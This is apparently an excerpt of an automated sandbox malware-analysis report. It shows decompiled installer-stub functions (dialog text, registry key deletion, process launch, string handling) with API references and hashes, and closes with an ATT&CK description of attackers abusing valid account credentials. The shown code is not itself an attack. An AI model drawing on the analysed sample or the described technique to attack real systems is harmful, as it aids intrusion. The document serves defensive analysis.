					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E0040640A(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E0040640A(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E0040640A(_t44, _t50, 0x446728, 0x446728, _a8);
				wsprintfW(_t34 + lstrlenW(0x446728) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x468218, _a4, 0x446728);
			}

0x00404c15
0x00404c1a
0x00404c22
0x00404c23
0x00404c30
0x00404c38
0x00404c39
0x00404c3b
0x00404c3d
0x00404c3f
0x00404c42
0x00404c42
0x00404c49
0x00404c4f
0x00404c4f
0x00404c56
0x00404c5d
0x00404c60
0x00404c63
0x00404c63
0x00404c67
0x00404c77
0x00404c79
0x00404c7c
0x00404c25
0x00404c25
0x00404c2c
0x00404c2c
0x00404c84
0x00404c8f
0x00404ca5
0x00404cb6
0x00404cd2

APIs

lstrlenW.KERNEL32(00446728,00446728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32 ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(gD, xrefs: 00404C9F

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(gD
API String ID: 3540041739-492854681
Opcode ID: 3064c8308b7509d1383c21e902e6820dcf1316d1410b3bc833d73e44a854a58c
Instruction ID: aaf23b967d3fcc40b536a7be4f54997d0d4b2484921d6e850771612597014f60
Opcode Fuzzy Hash: 3064c8308b7509d1383c21e902e6820dcf1316d1410b3bc833d73e44a854a58c
Instruction Fuzzy Hash: 4D11EB73A0412837EB00556DAC45EDF3288EB85374F264237FA66F31D1E979CC5282E8

Uniqueness

Uniqueness Score: -1.00%

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040667C(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405D34(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405CEA(L"*?|<>/\":", _t5))) == 0) {
							E00405E99(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x0040667e
0x00406687
0x0040669e
0x0040669e
0x004066a5
0x004066b1
0x004066b1
0x004066b4
0x004066b7
0x004066bc
0x004066be
0x004066c7
0x004066cb
0x004066e8
0x004066f0
0x004066f0
0x004066f5
0x004066f7
0x004066fa
0x004066ff
0x00406700
0x00406704
0x00406704
0x00406705
0x0040670c
0x0040670e
0x00406715
0x00000000
0x00000000
0x0040671d
0x00406723
0x00000000
0x00000000
0x00000000
0x00406723
0x00406728

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,004D5000,004D5000,004C1000,00403480,004D5000,746AFAA0,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,004D5000,004D5000,004C1000,00403480,004D5000,746AFAA0,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,004D5000,004D5000,004C1000,00403480,004D5000,746AFAA0,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Uniqueness

Uniqueness Score: -1.00%

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401DB9(intOrPtr __edx) {
				void* __esi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				struct HDC__* _t31;
				void* _t33;
				void* _t35;

				_t30 = __edx;
				_t31 = GetDC( *(_t35 - 8));
				_t9 = E00402C1F(2);
				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
				0x41e5d8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t31);
				 *0x41e5e8 = E00402C1F(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x18));
				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
				 *0x41e5ef = 1;
				 *0x41e5ec = _t15 & 0x00000001;
				 *0x41e5ed = _t15 & 0x00000002;
				 *0x41e5ee = _t15 & 0x00000004;
				E0040640A(_t9, _t31, _t33, 0x41e5f4,  *((intOrPtr*)(_t35 - 0x24)));
				_t18 = CreateFontIndirectW(0x41e5d8);
				_push(_t18);
				_push(_t33);
				E0040632F();
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401db9
0x00401dc4
0x00401dc6
0x00401dd3
0x00401dea
0x00401def
0x00401dfc
0x00401e01
0x00401e05
0x00401e10
0x00401e17
0x00401e29
0x00401e2f
0x00401e34
0x00401e3e
0x00402592
0x0040156d
0x00402a6b
0x00402ac8
0x00402ad4

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32 ref: 00401DEF
CreateFontIndirectW.GDI32(0041E5D8), ref: 00401E3E

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: d45f834d171d725afd91ae9bb128b8c3c7dbb3b90b3bde5971021a52cdcc4ac4
Instruction ID: f94ea66f3bb0d18877d48f50851b2a4d43bd5926543aaa07d49364debbc8af75
Opcode Fuzzy Hash: d45f834d171d725afd91ae9bb128b8c3c7dbb3b90b3bde5971021a52cdcc4ac4
Instruction Fuzzy Hash: A601B575A04240BFF7009BF5AE0A7D9BFB5AB55309F10847DF642B61E2D97840858F2D

Uniqueness

Uniqueness Score: -1.00%

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401D5D() {
				void* _t18;
				struct HINSTANCE__* _t22;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8),  *(_t27 - 0x24));
				GetClientRect(_t25, _t27 - 0x58);
				_t18 = SendMessageW(_t25, 0x172, _t22, LoadImageW(_t22, E00402C41(_t22), _t22,  *(_t27 - 0x50) *  *(_t27 - 0x20),  *(_t27 - 0x4c) *  *(_t27 - 0x20), 0x10));
				if(_t18 != _t22) {
					DeleteObject(_t18);
				}
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401d69
0x00401d70
0x00401d9f
0x00401da7
0x00401dae
0x00401dae
0x00402ac8
0x00402ad4

APIs

GetDlgItem.USER32 ref: 00401D63
GetClientRect.USER32 ref: 00401D70
LoadImageW.USER32 ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 858355cefed18eb7bc6e0060f1d985c17a5096e6ceee0bed2799ef354eb4a701
Instruction ID: c4075bb9bfde8645d9c714665ee228779135434f852c8317c1fe236da41c92b1
Opcode Fuzzy Hash: 858355cefed18eb7bc6e0060f1d985c17a5096e6ceee0bed2799ef354eb4a701
Instruction Fuzzy Hash: C0F0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D419B38

Uniqueness

Uniqueness Score: -1.00%

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C1F(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t61;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402C1F(3);
				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
				 *(_t64 - 0x10) = _t29;
				_t30 = E00402C1F(4);
				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x10)) = E00402C41(0x33);
				}
				__eflags =  *(_t64 - 0x14) & 0x00000002;
				if(( *(_t64 - 0x14) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402C41(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t59 = E00402C41();
					_t32 = E00402C41();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t59;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x10),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t61 = E00402C1F();
					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
					_t41 = E00402C1F(2);
					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
					_t56 =  *(_t64 - 0x14) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x30) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8), _t46, _t56, _t64 - 0x30);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x28)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x28)) >= _t46) {
					_push( *(_t64 - 0x30));
					E0040632F();
				}
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c1f
0x00401c21
0x00401c28
0x00401c2b
0x00401c2e
0x00401c38
0x00401c3c
0x00401c3f
0x00401c48
0x00401c48
0x00401c4b
0x00401c4f
0x00401c58
0x00401c58
0x00401c5b
0x00401c5f
0x00401c61
0x00401cb6
0x00401cb8
0x00401cc3
0x00401ccd
0x00401cd0
0x00401cd0
0x00401cd9
0x00000000
0x00401c63
0x00401c6a
0x00401c6c
0x00401c6f
0x00401c75
0x00401c7c
0x00401c7f
0x00401ca7
0x00401cdf
0x00401cdf
0x00401c81
0x00401c8f
0x00401c97
0x00401c9a
0x00401c9a
0x00401c7f
0x00401ce2
0x00401ce5
0x00401ceb
0x00402a6b
0x00402a6b
0x00402ac8
0x00402ad4

APIs

SendMessageTimeoutW.USER32 ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 24084e1ee828c43313bede8142c405a0ca1b46cb638746800ee982a4d2c00c06
Instruction ID: 177e50295cc88f553b9a3067857c13a37c9039e473aa79b37457755941741264
Opcode Fuzzy Hash: 24084e1ee828c43313bede8142c405a0ca1b46cb638746800ee982a4d2c00c06
Instruction Fuzzy Hash: 97219371948209AEEF05DFB5DE4AABE7BB5EF84304F14443EF605B61D0D7B889809B18

Uniqueness

Uniqueness Score: -1.00%

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402D44(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				short _v532;
				void* _t19;
				signed int _t25;
				intOrPtr* _t27;
				signed int _t32;
				signed int _t33;
				signed int _t34;

				_t33 = _a12;
				_t34 = _t33 & 0x00000300;
				_t32 = _t33 & 0x00000001;
				_t19 = E00406255(__eflags, _a4, _a8, _t34 | 0x00000008,  &_v8);
				if(_t19 == 0) {
					while(RegEnumKeyW(_v8, 0,  &_v532, 0x105) == 0) {
						__eflags = _t32;
						if(__eflags != 0) {
							RegCloseKey(_v8);
							return 0x3eb;
						}
						_t25 = E00402D44(__eflags, _v8,  &_v532, _a12);
						__eflags = _t25;
						if(_t25 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E004067C2(3);
					if(_t27 == 0) {
						return RegDeleteKeyW(_a4, _a8);
					}
					return  *_t27(_a4, _a8, _t34, 0);
				}
				return _t19;
			}

0x00402d4f
0x00402d58
0x00402d61
0x00402d6d
0x00402d74
0x00402d98
0x00402d7e
0x00402d80
0x00402dd3
0x00000000
0x00402dd9
0x00402d8f
0x00402d94
0x00402d96
0x00000000
0x00000000
0x00402d96
0x00402db2
0x00402dba
0x00402dc1
0x00000000
0x00402de6
0x00000000
0x00402dcc
0x00402df0

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Uniqueness

Uniqueness Score: -1.00%

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E004053C4(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x446714 != _t16) {
							_push(_t16);
							_push(6);
							 *0x446714 = _t16;
							E00404D9A();
						}
						L11:
						return CallWindowProcW( *0x44671c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404D1A(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E004043AB(0x413);
				return 0;
			}

0x004053c8
0x004053d2
0x004053ee
0x00405410
0x00405413
0x00405419
0x00405423
0x00405424
0x00405426
0x0040542c
0x0040542c
0x00405436
0x00000000
0x00405444
0x004053fb
0x00405433
0x00405433
0x00000000
0x00405433
0x00405407
0x00405409
0x00000000
0x00405409
0x004053d8
0x00000000
0x00000000
0x004053df
0x00000000

APIs

IsWindowVisible.USER32 ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 4753812dcda77c43f10e8ae772257530cbd3706fb24bd1d76dbcd04b27752b45
Instruction ID: 93d8fc7429a3309a4d5f32771a2db5550657aa0780c74b0d1fda1c3346d9b8f3
Opcode Fuzzy Hash: 4753812dcda77c43f10e8ae772257530cbd3706fb24bd1d76dbcd04b27752b45
Instruction Fuzzy Hash: 2A01BC71100709ABDB205F01ED80BDB3A26EB9135AF604037FA00762E0C37A8CD29E6E

Uniqueness

Uniqueness Score: -1.00%

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004059D1(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x45e730->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x45e730,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x004059da
0x004059fa
0x00405a02
0x00405a07
0x00000000
0x00405a0d
0x00405a11

APIs

CreateProcessW.KERNEL32 ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8941ac05e4937e204e88b6b93cbbbbf1e6cab01e5c2f1d465c17e9c6e72d0440
Instruction ID: 7eb9064dadea35cbfc58acd36067de01cdd5d52a4e03f37d51203587584f4729
Opcode Fuzzy Hash: 8941ac05e4937e204e88b6b93cbbbbf1e6cab01e5c2f1d465c17e9c6e72d0440
Instruction Fuzzy Hash: 86E012B0610209BFEB00AFA0ED49F7B7AACFB08204F008921BD00F2191D774A9148A68

Uniqueness

Uniqueness Score: -1.00%

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E43(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405e53
0x00405e55
0x00405e58
0x00405e84
0x00405e5d
0x00405e66
0x00405e6b
0x00405e76
0x00405e79
0x00405e95
0x00405e7b
0x00405e82
0x00000000
0x00405e82
0x00405e8e
0x00405e92
0x00405e92
0x00405e8c
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

